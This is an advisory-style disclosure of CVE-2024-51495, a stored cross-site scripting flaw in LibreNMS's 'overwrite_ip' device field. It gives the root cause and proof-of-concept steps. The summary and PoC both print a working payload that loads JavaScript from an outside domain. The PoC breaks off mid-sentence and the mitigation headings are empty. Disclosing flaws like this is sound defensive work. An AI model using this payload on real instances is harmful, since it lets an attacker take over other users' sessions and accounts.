LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php
Date: 2024-11
Affected: composer/librenms/librenms
Attack vector: xss
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2024-51495
CWE: CWE-79
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L)

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. ### Details The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded. The payload used to exploit this vulnerability is: `test'"><script src=//15.rs></script>` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42 ### PoC 1. Edit a device and use the following payload in the "overwrite_ip" parameter: `test'"><script src=//15.rs></script>` 2. Save the changes. 3. Navigate to the device overview page. 4. Observe that the injected script executes in the


Mitigations:

Architectural layers (MAESTRO):